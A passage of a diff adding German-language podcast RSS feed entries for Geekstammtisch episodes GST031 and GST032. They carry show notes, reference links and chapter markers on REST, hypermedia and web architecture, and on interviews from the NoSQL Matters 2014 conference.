+<li>80% Entwicklungsprojekt, teilweise nur mitarbeiten, teilweise komplett selber verantwortet</li>
+<li>bei innoQ werden immer wieder die Rollen/Aufgaben und Projekte gewechselt</li>
+</ul>
+
+<h3>Architektur: negativ? (00:08:40)</h3>
+
+<ul>
+<li>Agile Is Dead (Long Live Agility), Dave Thomas: <a href="http://pragdave.me/blog/2014/03/04/time-to-kill-agile/">http://pragdave.me/blog/2014/03/04/time-to-kill-agile/</a></li>
+<li>Rollen (z.B. &quot;der Architekt&quot;) ergeben sich oft automatisch, ohne dass es vorgegeben ist</li>
+<li>Architektur negativ? &quot;Ist wie ich darf nicht mehr nachdenken!&quot;</li>
+</ul>
+
+<h3>REST (00:12:05)</h3>
+
+<ul>
+<li>REST: <a href="https://en.wikipedia.org/wiki/Representational_state_transfer">https://en.wikipedia.org/wiki/Representational_state_transfer</a></li>
+<li>Representational State Transfer (REST), Roy Fielding, Dissertation (2000), Kapitel 5: <a href="https://www.ics.uci.edu/%7Efielding/pubs/dissertation/rest_arch_style.htm">https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm</a></li>
+<li>Roy Fieldings Blog: <a href="http://roy.gbiv.com/untangled/">http://roy.gbiv.com/untangled/</a></li>
+<li>REST war eigentlich vor der SOAP/WS-* Welle da</li>
+<li>Ressourcen haben eine URI und sind damit identifizierbar</li>
+<li>Standard-Interface um mit Ressourcen zu interagieren: GET, PUT, POST, DELETE</li>
+<li>Hypermedia: <a href="https://en.wikipedia.org/wiki/Hypermedia">https://en.wikipedia.org/wiki/Hypermedia</a></li>
+<li>REST Maturity Models (RMM): <a href="http://martinfowler.com/articles/richardsonMaturityModel.html">http://martinfowler.com/articles/richardsonMaturityModel.html</a></li>
+</ul>
+
+<h3>Der WS-Weg (00:16:55)</h3>
+
+<ul>
+<li>Leute müssen für Webservices oft missioniert werden; bei REST ist das deutlich einfacher</li>
+<li>Bei Web Serivces entwirft man permanent neue Protokolle (mit SOAP)</li>
+<li>WSDL: <a href="http://www.w3.org/TR/wsdl">http://www.w3.org/TR/wsdl</a></li>
+<li>Enterprise Service Bus: <a href="https://en.wikipedia.org/wiki/Enterprise_service_bus">https://en.wikipedia.org/wiki/Enterprise_service_bus</a></li>
+</ul>
+
+<h3>Microservices vs SOA? (00:22:05)</h3>
+
+<ul>
+<li>James Lewis, Martin Fowler über Microservices: <a href="http://martinfowler.com/articles/microservices.html">http://martinfowler.com/articles/microservices.html</a></li>
+<li>Jim Webber &quot;Guerilla SOA&quot;: <a href="http://www.infoq.com/presentations/webber-guerilla-soa">http://www.infoq.com/presentations/webber-guerilla-soa</a></li>
+</ul>
+
+<h3>Hypermedia Explained (00:23:53)</h3>
+
+<ul>
+<li>Hypermedia: <a href="https://en.wikipedia.org/wiki/Hypermedia">https://en.wikipedia.org/wiki/Hypermedia</a></li>
+<li>Heute sind REST APIs relativ gut (kein GET mehr, um eine Ressource zu löschen)</li>
+<li>URI Templating, <a href="http://whatisrest.com/rest_service_contracts/uri_templates_and_resource_queries">http://whatisrest.com/rest_service_contracts/uri_templates_and_resource_queries</a></li>
+<li>REST APIs haben eine Startseite, von wo aus der Clients den Links folgen kann</li>
+<li>Der API Client braucht nicht so festverdrahtet sein</li>
+<li>Links für Ressourcen signalisieren dem Client, wie er mit einer Ressource interagieren kann</li>
+<li>Architekturstile (<a href="https://de.wikipedia.org/wiki/Architekturstil">https://de.wikipedia.org/wiki/Architekturstil</a>) haben immer Tradeoffs!</li>
+<li>Apache Thrift: <a href="https://en.wikipedia.org/wiki/Apache_Thrift">https://en.wikipedia.org/wiki/Apache_Thrift</a></li>
+<li>CORBA: <a href="https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture">https://en.wikipedia.org/wiki/Common_Object_Request_Broker_Architecture</a></li>
+<li>URI Templates sind ein Rezept, um z.B. eine große Menge von Links abzubilden
+
+<ul>
+<li>HTML ist ein schönes Beispiel: Mit einem Formular und GET</li>
+</ul></li>
+<li>HTML ist ein Hypermedia Format!</li>
+<li>Ein Browser ist quasi ein Hypermedia Client</li>
+<li>REST sollte Standardformate, selbstbeschreibender Nachrichten verwenden</li>
+<li>IANA Media Types: <a href="https://www.iana.org/assignments/media-types/media-types.xhtml">https://www.iana.org/assignments/media-types/media-types.xhtml</a></li>
+<li>Populäre Formate: JSON, XML</li>
+<li>JSON Schema: <a href="http://json-schema.org/">http://json-schema.org/</a></li>
+<li>JSON &amp; Hypermedia
+
+<ul>
+<li>Collection+JSON: <a href="http://amundsen.com/media-types/collection/">http://amundsen.com/media-types/collection/</a></li>
+<li>Hypertext Application Language: <a href="http://stateless.co/hal_specification.html">http://stateless.co/hal_specification.html</a></li>
+<li>Siren: <a href="https://github.com/kevinswiber/siren">https://github.com/kevinswiber/siren</a></li>
+</ul></li>
+<li>Jon Moore, &quot;Building Hypermedia APIs with HTML&quot;: <a href="http://www.infoq.com/presentations/web-api-html">http://www.infoq.com/presentations/web-api-html</a></li>
+<li>AtomPub, The Atom Publishing Protocol: <a href="http://bitworking.org/projects/atom/rfc5023.html">http://bitworking.org/projects/atom/rfc5023.html</a></li>
+</ul>
+
+<h3>REST für das Web (00:45:00)</h3>
+
+<ul>
+<li>REST ist die Architektur des Webs und nicht nur von Web Services</li>
+<li>ROCA: Resource-oriented Client Architecture: <a href="http://roca-style.org">http://roca-style.org</a></li>
+<li>Single Page Application Frameworks: <a href="http://emberjs.com">http://emberjs.com</a>, <a href="http://angularjs.org">http://angularjs.org</a>, <a href="http://backbonejs.org">http://backbonejs.org</a>, ...</li>
+<li>Yehuda Katz: <a href="http://yehudakatz.com/">http://yehudakatz.com/</a></li>
+<li>JSON API: <a href="http://jsonapi.org/">http://jsonapi.org/</a></li>
+<li>ROCA: Server-seitiges HTML, App Logik nur im Server, Seite funktioniert ohne JavaScript, JavaScript erweitert nur, Progressive Enhancement (<a href="https://en.wikipedia.org/wiki/Progressive_enhancement">https://en.wikipedia.org/wiki/Progressive_enhancement</a>), ...</li>
+<li>History API: <a href="http://diveintohtml5.info/history.html">http://diveintohtml5.info/history.html</a></li>
+<li>SEO &amp; Single Page Apps: <a href="http://backbonetutorials.com/seo-for-single-page-apps/">http://backbonetutorials.com/seo-for-single-page-apps/</a></li>
+<li>iTunes im Browser? o_O z.B. mit <a href="https://vaadin.com/home">https://vaadin.com/home</a></li>
+<li>Monolithen aufbrechen; die einzelnen Teile sollten auch ein eigenes UI haben</li>
+<li>Breaking the monolith: Towards a system-of-systems architecture: <a href="http://vimeo.com/74354372">http://vimeo.com/74354372</a></li>
+<li>jQuery UI: <a href="https://jqueryui.com/">https://jqueryui.com/</a></li>
+<li>ember.js und AngularJS bieten Konventionen und vermeiden Diskussionen (meint Basti)</li>
+<li>Web Framework Ansatz: &quot;Wir nehmen entweder JSF oder Grails oder JRuby oder Angular oder jQuery&quot;</li>
+<li>Architektur sollte unabhängig sein von der Implementierung</li>
+<li>Bower: <a href="http://bower.io/">http://bower.io/</a></li>
+<li>&quot;build for replacement, not for reuse&quot;</li>
+<li>The Twelve-Factor App: <a href="http://12factor.net/">http://12factor.net/</a></li>
+</ul>
+
+<h3>Web Services, REST (01:11:30)</h3>
+
+<ul>
+<li>innoQ macht auch Projekte im klassischen Web Service Kontext</li>
+<li>Web Service Metadaten mit RESTful HTTP managen</li>
+<li>UDDI: <a href="https://en.wikipedia.org/wiki/Universal_Description_Discovery_and_Integration">https://en.wikipedia.org/wiki/Universal_Description_Discovery_and_Integration</a></li>
+<li>WSDL: <a href="https://en.wikipedia.org/wiki/Web_Services_Description_Language">https://en.wikipedia.org/wiki/Web_Services_Description_Language</a></li>
+<li>WS-MetadataExchange: <a href="https://en.wikipedia.org/wiki/WS-MetadataExchange">https://en.wikipedia.org/wiki/WS-MetadataExchange</a></li>
+</ul>
+
+<h3>Ausblick (01:17:20)</h3>
+
+<ul>
+<li>Alte Ideen tauchen in neuen Konzepten wieder auf; verschiedene Gruppe lernen von einander</li>
+<li>JAXconf: <a href="http://jaxconf.com/">http://jaxconf.com/</a></li>
+<li>innoQ Timeline: <a href="http://www.innoq.com/de/timeline/">http://www.innoq.com/de/timeline/</a></li>
+<li>innoQ Podcast: <a href="http://www.innoq.com/de/timeline/?type=podcast_episodes">http://www.innoq.com/de/timeline/?type=podcast_episodes</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST031" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:02:45" title="Architektur im Wandel" />
+
+ <psc:chapter start="00:05:10" title="Projekte bei innoQ" />
+
+ <psc:chapter start="00:08:40" title="Architektur: negativ?" />
+
+ <psc:chapter start="00:12:05" title="REST" />
+
+ <psc:chapter start="00:16:55" title="Der WS-Weg" />
+
+ <psc:chapter start="00:22:05" title="Microservices vs SOA?" />
+
+ <psc:chapter start="00:23:53" title="Hypermedia Explained" />
+
+ <psc:chapter start="00:45:00" title="REST für das Web" />
+
+ <psc:chapter start="01:11:30" title="Web Services, REST" />
+
+ <psc:chapter start="01:17:20" title="Ausblick" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST032 - NoSQL Matters 2014 Cologne</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Der Geekstammtisch mit Gesprächen von der NoSQL Matters 2014.</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst032.mp3" length="156117153" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST032</guid>
+ <pubDate>Thu, 15 May 2014 08:44:23 +0200</pubDate>
+ <itunes:duration>03:36:27</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Auch dieses Jahr sind wir wieder auf der NoSQL Matters in Köln und haben wieder mit Speakern wie Besuchern gesprochen. Wir haben viele neue Menschen kennengelernt, aber auch die ein oder andere Fortsetzung vom letzten Mal ist dabei. Ein Hinweis noch, es sind überwiegend Gespräche in Englisch.
+
+#### Gesprächspartner
+
+ * [EN] Ted Dunning (@ted_dunning)
+ * [EN] Ellen Friedman (@Ellen_Friedman)
+ * [EN] Johnny Miller (@cyanmiller)
+ * [DE] Michael Hunger (@mesirii)
+ * [EN] Akmal Chaudhr (@akmalchaudhri)
+ * [DE] Gereon Steffens (@gereons)
+ * [DE] Max Neunhöffer
+ * [EN] Mahesh Paolini-Subramanya (@dieswaytoofast)
+ * [EN] Boaz Leskes (@bleskes)
+ * [DE] Frank Celler (@fceller) und Stefan Edlich (@edlich)
+ * [EN] Russel Brown (@russelldb)
+ * [EN] Jennifer Rullmann (@jrullmann)
+
+### Intro (00:00:00)
+
+ * Basti und Dirk sagen "Hallo"
+
+### Ted Dunning, MapR (00:03:46)
+
+ * @ted_dunning
+ * War dieses Jahr Keynote Speaker
+ * Thema war "Remember the Future"
+ * Gist: Einige Dinge die heute modern erscheinen werden in Zukunft nicht mehr sein. Dinge von denen man dachte, sie spielen keine Relevanz mehr, werden in Zukunft modern sein.
+ * Was braucht NoSQL für die Zukunft?
+ * Welche Möglichkeiten werden uns Daten eröffnen?
+ * Was sind die kleinen Dinge, die in Zukunft große Relevanz haben werden?
+
+### Ellen Friedman (00:18:23)
+
+ * @Ellen_Friedman
+ * Hat einen eher ungewöhnlichen Hintergrund: Sie ist Biologin mit Schwerpunkt auf Bio-Chemie und Genetik und hat in diesen Bereichen sowohl Forschung als auch Lehre betrieben
+ * Sie ist Autorin von zahlreichen Publikationen in diesem Bereich, aber auch Mitglied des Mahout-Projekts und schreibt aktuell viel über Machine-Learning
+ * Sie erklärt uns wie es zum Thema der Keynote "Remembering the future" kam
+ * Ellen glaubt wir werden genauer wenn es darum geht die Zukunft vorher zusagen
+ * Im Sinne von: Was für Probleme gelöst werden, weniger wie sie gelöst werden
+ * Die Lösung wird oft sehr überraschend sein
+ * Manchmal gab es die Lösung schon in der Vergangenheit und sie wird neu entdeckt
+ * "Die Geschichte wiederholt sich nicht"
+ * Wir sprechen über die Herausforderungen die auf unsere Gesellschaft zukommen mit der weiteren Erfassung großer Datenmengen
+ * Welche Verantwortung hat die Tech-Community in diesem Zusammenhang
+ * Abschließend geht es noch um die verständliche Vermittlung von komplexem Wissen
+
+### Johnny Miller, DataStax (00:34:34)
+
+ * @cyanmiller
+ * Johnny ist Solution Architect bei DataStax, der größte Committer von Cassandra
+ * Neben einem Vortrag hat er auch einen sehr guten Einsteiger-Workshop gegeben
+ * Wir haben mit ihm über Ease-of-use gesprochen, und dass scheinbar viele NoSQL Systeme ihre Funktionalität langsam im Griff haben und sich nun auf die Benutzbarkeit konzentrieren können
+ * Sein Herzensthema ist Sicherheit in NoSQL Datenbanken, daher haben wir natürlich auch darüber gesprochen
+
+### Michael Hunger, Neo Technologies (00:53:52)
+
+ * @mesirii
+ * Michael kommt von Neo Technologies, der Firma hinter Neo4j, einer Graphdatenbank
+ * Auch seinen Einsteiger-Workshop konnten wir besuchen
+ * Sein Talk war ebenfalls ein Einstieg, vor allem in die Welt der Graphen
+ * Wir sprachen mit ihm über "The right tool for the job" und welche Problemstellungen für Graphen geeignet sind
+ * Auch hier war Ease-of-use ein Thema
+ * Im Fall von Neo4j bezieht sich das sowohl auf die Anwendung als solche aber auch auf den Einstieg in die Welt der Graphen
+ * Off-the-Record: Leider erst nach Aufnahme haben wir uns noch verraten lassen, dass Neo4j seinen Namen aus dem Film der Matrix hat :-)
+
+### Akmal Chaudhri, DataStax (01:12:24)
+
+ * @akmalchaudhri
+ * Akmal hat einen der wenigen nicht-technischen Talks gehalten
+ * Das Thema könnte dennoch nicht wichtiger sein: Skills
+ * Wie schafft man es als Unternehmen aber auch als Entwickler mit der rasanten technologischen Entwicklung mithalten zu können?
+ * Wir stellen fest, dass ein großer Vorteil ist, dass im Grunde alle großen NoSQL Datenbanken frei verfügbar sind und zu jeder zahlreiche und qualitativ hochwertige Lernressourcen kostenlos zur Verfügung stehen
+
+### Gereon Steffens, Finanzen100 (01:29:17)
+
+ * @gereons
+ * Gereon ist Head of IT bei Finanzen100 in Köln
+ * Wir sprachen letztes Jahr mit ihm über die geplante Einführung von Redis
+ * Diese Einführung ist mehr als erfolgreich verlaufen
+ * Alle Anforderungen konnten erfüllt und neue Funktionalitäten für die Nutzer etabliert werden
+ * Wir sprachen auch darüber wie er diese neue Technologie im Team erfolgreich etablieren konnte
+
+### Max Neunhöffer, triAGENS (01:45:09)
+
+ * Max kommt von der Open-Source Multi-Model Datenbank ArangoDB
+ * Wir reden mit ihm über das neueste Feature von ArangoDB: Sharding
+ * Vor allem geht es um die Herausforderungen ein solches Feature zu implementieren
+ * Der aktuelle Stand funktioniert zwar, aber es gibt noch viel zu tun
+
+### Mahesh Paolini-Subramanya, Ubiquiti Networks (02:00:43)
+
+ * @dieswaytoofast
+ * Mit Mahesh wollten wir schon letztes Jahr sprechen, haben es aber nicht mehr geschafft. Nun hat es geklappt!
+ * Er arbeitet zur Zeit bei Ubiquiti Networks "The largest Network infrastructure company you may never heard of"
+ * Erste Frage die sich stellt: Was hat ein Hersteller von Netzwerkhardware mit NoSQL am Hut?
+ * Antwort: Unmengen von Daten!
+ * Uniquiti bietet eine Cloud-basierte Management Plattform für die Hardware an
+ * Jedes Gerät schickt alle 30 Sekunden Daten dorthin und kann von dort auch Konfiguration oder andere Informationen abrufen
+* Sie setzen dazu so ziemlich jede NoSQL Datenbank ein die es gibt (außer MongoDB)
+ * Auch hier ist wieder "The right tool for the job" Thema
+ * Und natürlich sprechen wir über das große Thema Sicherheit
+
+### Boaz Leskes, Elasticsearch (02:23:56)
+
+ * @bleskes
+ * Entwickler bei elasticsearch
+ * Er hat einen Talk zu den Aggregationsmöglichkeiten in elasticsearch gehalten
+ * Zusammengefasst: Mit Aggregationen, Facettensuche und den Analysefunktionen lassen sich sehr komplexe Systeme zur Analyse von beliebigen Daten erstellen
+ * elasticsearch ist noch viel weniger "nur" für Suchen geeignet, als noch vor einem Jahr
+ * Die Nutzer erkennen immer mehr, welche weiteren Möglichkeiten durch elasticsearch bekommen
+ * Boaz erklärt wie die Suchfunktionalitäten von elasticsearch bei der Analyse von arbiträren Daten helfen kann
+ * Es geht weiter mit einigen interessanten Einblicken in die Optimierung von Algorithmen
+ * Ease-of-use ist auch bei elasticsearch ein sehr wichtiges Thema, nicht nur bei der Nutzung aus Entwicklersicht, sondern auch aus Betriebssicht
+ * "Elasticsearch is a highly distributed system that really, really hard tries to hide it"
+
+### Frank Celler und Dr. Stefan Edlich (02:39:35)
+
+ * @fceller (Dr. Celler Cologne Lectures) & @edlich
+ * Frank und Stefan sind beide Organisatoren der Konferenz und im Programmkommitee
+ * Wir sprechen über die Vorbereitungen der Konferenz und wie die bisherigen Eindrücke sind
+ * Wir erhalten ein paar Einblicke in die Schwierigkeiten bei der Zusammenstellung des Programms
+ * NoSQL Matters gibt es nicht nur in Köln, sondern auch in Dublin und Barcelona
+
+### Russel Brown, Basho (02:53:18)
+
+ * @russelldb
+ * Russel ist kurzfristig für einen Talk eingesprungen, glücklicherweise zu dem Thema, dass er implementiert hat ;-)
+ * Mit Russel haben wir über CRDT in Riak gesprochen, dieses Theme hatten wir letztes Jahr auch schon mit Sean Cribbs
+ * Damals steckte es noch in den Kinderschuhen, heute ist es nutzbar in der neuesten Version von Riak
+ * CRDTs steht für "Conflict-Free Replicated Data-Typ"
+ * Wir reden über die Herausforderungen der Implementierung
+ * Und vor allem über die Herausforderungen beim Testing
+ * Obwohl das Feature implementiert ist, gibt es noch viele Dinge zu tun und zu optimieren
+
+### Jennifer Rullmann, FoundationDB (03:11:26)
+
+ * @jrullmann
+ * Entwicklerin bei FoundationDB
+ * Hat vorher Webanwendungen Entwickelt nun arbeitet sie an FoundationDB
+ * FoundationDB: Distributed Key-Value DB mit der Möglichkeit andere Datenmodelle (Dokumente, Graphen, ...) in Form von Layern hinzufügen
+ * Ihr Talk war zu dem Thema "NoSQL and ACID"
+ * Ease of Use: FoundationDB legt viel Wert darauf einfach im Betrieb zu sein (wenig Konfiguration by default)
+
+### Outro (03:28:52)
+
+ * Bast und Dirk sagen "Tschüss"
+ * persönliches Fazit: Wir hatten tolle drei Tage, haben viel gelernt und sehr spannende Gespräche geführt
+ * Fazit zur Konferenz: NoSQL wird erwachsen und wird uns bestimmt noch viele Jahre begleiten. In welcher Form? Das wird die Zukunft zeigen ;-)]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Auch dieses Jahr sind wir wieder auf der NoSQL Matters in Köln und haben wieder mit Speakern wie Besuchern gesprochen. Wir haben viele neue Menschen kennengelernt, aber auch die ein oder andere Fortsetzung vom letzten Mal ist dabei. Ein Hinweis noch, es sind überwiegend Gespräche in Englisch.</p>
+
+<h4>Gesprächspartner</h4>
+
+<ul>
+<li>[EN] Ted Dunning (<a href="https://twitter.com/ted_dunning">@ted_dunning</a>)</li>
+<li>[EN] Ellen Friedman (<a href="https://twitter.com/Ellen_Friedman">@Ellen_Friedman</a>)</li>
+<li>[EN] Johnny Miller (<a href="https://twitter.com/cyanmiller">@cyanmiller</a>)</li>
+<li>[DE] Michael Hunger (<a href="https://twitter.com/mesirii">@mesirii</a>)</li>
+<li>[EN] Akmal Chaudhr (<a href="https://twitter.com/akmalchaudhri">@akmalchaudhri</a>)</li>
+<li>[DE] Gereon Steffens (<a href="https://twitter.com/gereons">@gereons</a>)</li>
+<li>[DE] Max Neunhöffer</li>
+<li>[EN] Mahesh Paolini-Subramanya (<a href="https://twitter.com/dieswaytoofast">@dieswaytoofast</a>)</li>
+<li>[EN] Boaz Leskes (<a href="https://twitter.com/bleskes">@bleskes</a>)</li>
+<li>[DE] Frank Celler (<a href="https://twitter.com/fceller">@fceller</a>) und Stefan Edlich (<a href="https://twitter.com/edlich">@edlich</a>)</li>
+<li>[EN] Russel Brown (<a href="https://twitter.com/russelldb">@russelldb</a>)</li>
+<li>[EN] Jennifer Rullmann (<a href="https://twitter.com/jrullmann">@jrullmann</a>)</li>
+</ul>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Basti und Dirk sagen &quot;Hallo&quot;</li>
+</ul>
+
+<h3>Ted Dunning, MapR (00:03:46)</h3>
+
+<ul>
+<li><a href="https://twitter.com/ted_dunning">@ted_dunning</a></li>
+<li>War dieses Jahr Keynote Speaker</li>
+<li>Thema war &quot;Remember the Future&quot;</li>
+<li>Gist: Einige Dinge die heute modern erscheinen werden in Zukunft nicht mehr sein. Dinge von denen man dachte, sie spielen keine Relevanz mehr, werden in Zukunft modern sein.</li>
+<li>Was braucht NoSQL für die Zukunft?</li>
+<li>Welche Möglichkeiten werden uns Daten eröffnen?</li>
+<li>Was sind die kleinen Dinge, die in Zukunft große Relevanz haben werden?</li>
+</ul>
+
+<h3>Ellen Friedman (00:18:23)</h3>
+
+<ul>
+<li><a href="https://twitter.com/Ellen_Friedman">@Ellen_Friedman</a></li>
+<li>Hat einen eher ungewöhnlichen Hintergrund: Sie ist Biologin mit Schwerpunkt auf Bio-Chemie und Genetik und hat in diesen Bereichen sowohl Forschung als auch Lehre betrieben</li>
+<li>Sie ist Autorin von zahlreichen Publikationen in diesem Bereich, aber auch Mitglied des Mahout-Projekts und schreibt aktuell viel über Machine-Learning</li>
+<li>Sie erklärt uns wie es zum Thema der Keynote &quot;Remembering the future&quot; kam</li>
+<li>Ellen glaubt wir werden genauer wenn es darum geht die Zukunft vorher zusagen</li>
+<li>Im Sinne von: Was für Probleme gelöst werden, weniger wie sie gelöst werden</li>
+<li>Die Lösung wird oft sehr überraschend sein</li>
+<li>Manchmal gab es die Lösung schon in der Vergangenheit und sie wird neu entdeckt</li>
+<li>&quot;Die Geschichte wiederholt sich nicht&quot;</li>
+<li>Wir sprechen über die Herausforderungen die auf unsere Gesellschaft zukommen mit der weiteren Erfassung großer Datenmengen</li>
+<li>Welche Verantwortung hat die Tech-Community in diesem Zusammenhang</li>
+<li>Abschließend geht es noch um die verständliche Vermittlung von komplexem Wissen</li>
+</ul>
+
+<h3>Johnny Miller, DataStax (00:34:34)</h3>
+
+<ul>
+<li><a href="https://twitter.com/cyanmiller">@cyanmiller</a></li>
+<li>Johnny ist Solution Architect bei DataStax, der größte Committer von Cassandra</li>
+<li>Neben einem Vortrag hat er auch einen sehr guten Einsteiger-Workshop gegeben</li>
+<li>Wir haben mit ihm über Ease-of-use gesprochen, und dass scheinbar viele NoSQL Systeme ihre Funktionalität langsam im Griff haben und sich nun auf die Benutzbarkeit konzentrieren können</li>
+<li>Sein Herzensthema ist Sicherheit in NoSQL Datenbanken, daher haben wir natürlich auch darüber gesprochen</li>
+</ul>
+
+<h3>Michael Hunger, Neo Technologies (00:53:52)</h3>
+
+<ul>
+<li><a href="https://twitter.com/mesirii">@mesirii</a></li>
+<li>Michael kommt von Neo Technologies, der Firma hinter Neo4j, einer Graphdatenbank</li>
+<li>Auch seinen Einsteiger-Workshop konnten wir besuchen</li>
+<li>Sein Talk war ebenfalls ein Einstieg, vor allem in die Welt der Graphen</li>
+<li>Wir sprachen mit ihm über &quot;The right tool for the job&quot; und welche Problemstellungen für Graphen geeignet sind</li>
+<li>Auch hier war Ease-of-use ein Thema</li>
+<li>Im Fall von Neo4j bezieht sich das sowohl auf die Anwendung als solche aber auch auf den Einstieg in die Welt der Graphen</li>
+<li>Off-the-Record: Leider erst nach Aufnahme haben wir uns noch verraten lassen, dass Neo4j seinen Namen aus dem Film der Matrix hat :-)</li>
+</ul>
+
+<h3>Akmal Chaudhri, DataStax (01:12:24)</h3>
+
+<ul>
+<li><a href="https://twitter.com/akmalchaudhri">@akmalchaudhri</a></li>
+<li>Akmal hat einen der wenigen nicht-technischen Talks gehalten</li>
+<li>Das Thema könnte dennoch nicht wichtiger sein: Skills</li>
+<li>Wie schafft man es als Unternehmen aber auch als Entwickler mit der rasanten technologischen Entwicklung mithalten zu können?</li>
+<li>Wir stellen fest, dass ein großer Vorteil ist, dass im Grunde alle großen NoSQL Datenbanken frei verfügbar sind und zu jeder zahlreiche und qualitativ hochwertige Lernressourcen kostenlos zur Verfügung stehen</li>
+</ul>
+
+<h3>Gereon Steffens, Finanzen100 (01:29:17)</h3>
+
+<ul>
+<li><a href="https://twitter.com/gereons">@gereons</a></li>
+<li>Gereon ist Head of IT bei Finanzen100 in Köln</li>
+<li>Wir sprachen letztes Jahr mit ihm über die geplante Einführung von Redis</li>
+<li>Diese Einführung ist mehr als erfolgreich verlaufen</li>
+<li>Alle Anforderungen konnten erfüllt und neue Funktionalitäten für die Nutzer etabliert werden</li>
+<li>Wir sprachen auch darüber wie er diese neue Technologie im Team erfolgreich etablieren konnte</li>
+</ul>
+
+<h3>Max Neunhöffer, triAGENS (01:45:09)</h3>
+
+<ul>
+<li>Max kommt von der Open-Source Multi-Model Datenbank ArangoDB</li>
+<li>Wir reden mit ihm über das neueste Feature von ArangoDB: Sharding</li>
+<li>Vor allem geht es um die Herausforderungen ein solches Feature zu implementieren</li>
+<li>Der aktuelle Stand funktioniert zwar, aber es gibt noch viel zu tun</li>
+</ul>
+
+<h3>Mahesh Paolini-Subramanya, Ubiquiti Networks (02:00:43)</h3>
+
+<ul>
+<li><a href="https://twitter.com/dieswaytoofast">@dieswaytoofast</a></li>
+<li>Mit Mahesh wollten wir schon letztes Jahr sprechen, haben es aber nicht mehr geschafft. Nun hat es geklappt!</li>
+<li>Er arbeitet zur Zeit bei Ubiquiti Networks &quot;The largest Network infrastructure company you may never heard of&quot;</li>
+<li>Erste Frage die sich stellt: Was hat ein Hersteller von Netzwerkhardware mit NoSQL am Hut?</li>
+<li>Antwort: Unmengen von Daten!</li>
+<li>Uniquiti bietet eine Cloud-basierte Management Plattform für die Hardware an</li>
+<li>Jedes Gerät schickt alle 30 Sekunden Daten dorthin und kann von dort auch Konfiguration oder andere Informationen abrufen
+
+<ul>
+<li>Sie setzen dazu so ziemlich jede NoSQL Datenbank ein die es gibt (außer MongoDB)</li>
+</ul></li>
+<li>Auch hier ist wieder &quot;The right tool for the job&quot; Thema</li>
+<li>Und natürlich sprechen wir über das große Thema Sicherheit</li>
+</ul>
+
+<h3>Boaz Leskes, Elasticsearch (02:23:56)</h3>
+
+<ul>
+<li><a href="https://twitter.com/bleskes">@bleskes</a></li>
+<li>Entwickler bei elasticsearch</li>
+<li>Er hat einen Talk zu den Aggregationsmöglichkeiten in elasticsearch gehalten</li>
+<li>Zusammengefasst: Mit Aggregationen, Facettensuche und den Analysefunktionen lassen sich sehr komplexe Systeme zur Analyse von beliebigen Daten erstellen</li>
+<li>elasticsearch ist noch viel weniger &quot;nur&quot; für Suchen geeignet, als noch vor einem Jahr</li>
+<li>Die Nutzer erkennen immer mehr, welche weiteren Möglichkeiten durch elasticsearch bekommen</li>
+<li>Boaz erklärt wie die Suchfunktionalitäten von elasticsearch bei der Analyse von arbiträren Daten helfen kann</li>
+<li>Es geht weiter mit einigen interessanten Einblicken in die Optimierung von Algorithmen</li>
+<li>Ease-of-use ist auch bei elasticsearch ein sehr wichtiges Thema, nicht nur bei der Nutzung aus Entwicklersicht, sondern auch aus Betriebssicht</li>
+<li>&quot;Elasticsearch is a highly distributed system that really, really hard tries to hide it&quot;</li>
+</ul>
+
+<h3>Frank Celler und Dr. Stefan Edlich (02:39:35)</h3>
+
+<ul>
+<li><a href="https://twitter.com/fceller">@fceller</a> (Dr. Celler Cologne Lectures) &amp; <a href="https://twitter.com/edlich">@edlich</a></li>
+<li>Frank und Stefan sind beide Organisatoren der Konferenz und im Programmkommitee</li>
+<li>Wir sprechen über die Vorbereitungen der Konferenz und wie die bisherigen Eindrücke sind</li>
+<li>Wir erhalten ein paar Einblicke in die Schwierigkeiten bei der Zusammenstellung des Programms</li>
+<li>NoSQL Matters gibt es nicht nur in Köln, sondern auch in Dublin und Barcelona</li>
+</ul>
+
+<h3>Russel Brown, Basho (02:53:18)</h3>
+
+<ul>
+<li><a href="https://twitter.com/russelldb">@russelldb</a></li>
+<li>Russel ist kurzfristig für einen Talk eingesprungen, glücklicherweise zu dem Thema, dass er implementiert hat ;-)</li>
+<li>Mit Russel haben wir über CRDT in Riak gesprochen, dieses Theme hatten wir letztes Jahr auch schon mit Sean Cribbs</li>
+<li>Damals steckte es noch in den Kinderschuhen, heute ist es nutzbar in der neuesten Version von Riak</li>
+<li>CRDTs steht für &quot;Conflict-Free Replicated Data-Typ&quot;</li>
+<li>Wir reden über die Herausforderungen der Implementierung</li>
+<li>Und vor allem über die Herausforderungen beim Testing</li>
+<li>Obwohl das Feature implementiert ist, gibt es noch viele Dinge zu tun und zu optimieren</li>
+</ul>
+
+<h3>Jennifer Rullmann, FoundationDB (03:11:26)</h3>
+
+<ul>
+<li><a href="https://twitter.com/jrullmann">@jrullmann</a></li>
+<li>Entwicklerin bei FoundationDB</li>
+<li>Hat vorher Webanwendungen Entwickelt nun arbeitet sie an FoundationDB</li>
+<li>FoundationDB: Distributed Key-Value DB mit der Möglichkeit andere Datenmodelle (Dokumente, Graphen, ...) in Form von Layern hinzufügen</li>
+<li>Ihr Talk war zu dem Thema &quot;NoSQL and ACID&quot;</li>
+<li>Ease of Use: FoundationDB legt viel Wert darauf einfach im Betrieb zu sein (wenig Konfiguration by default)</li>
+</ul>
+
+<h3>Outro (03:28:52)</h3>
+
+<ul>
+<li>Bast und Dirk sagen &quot;Tschüss&quot;</li>
+<li>persönliches Fazit: Wir hatten tolle drei Tage, haben viel gelernt und sehr spannende Gespräche geführt</li>
+<li>Fazit zur Konferenz: NoSQL wird erwachsen und wird uns bestimmt noch viele Jahre begleiten. In welcher Form? Das wird die Zukunft zeigen ;-)</li>
+</ul>
+]]></description>
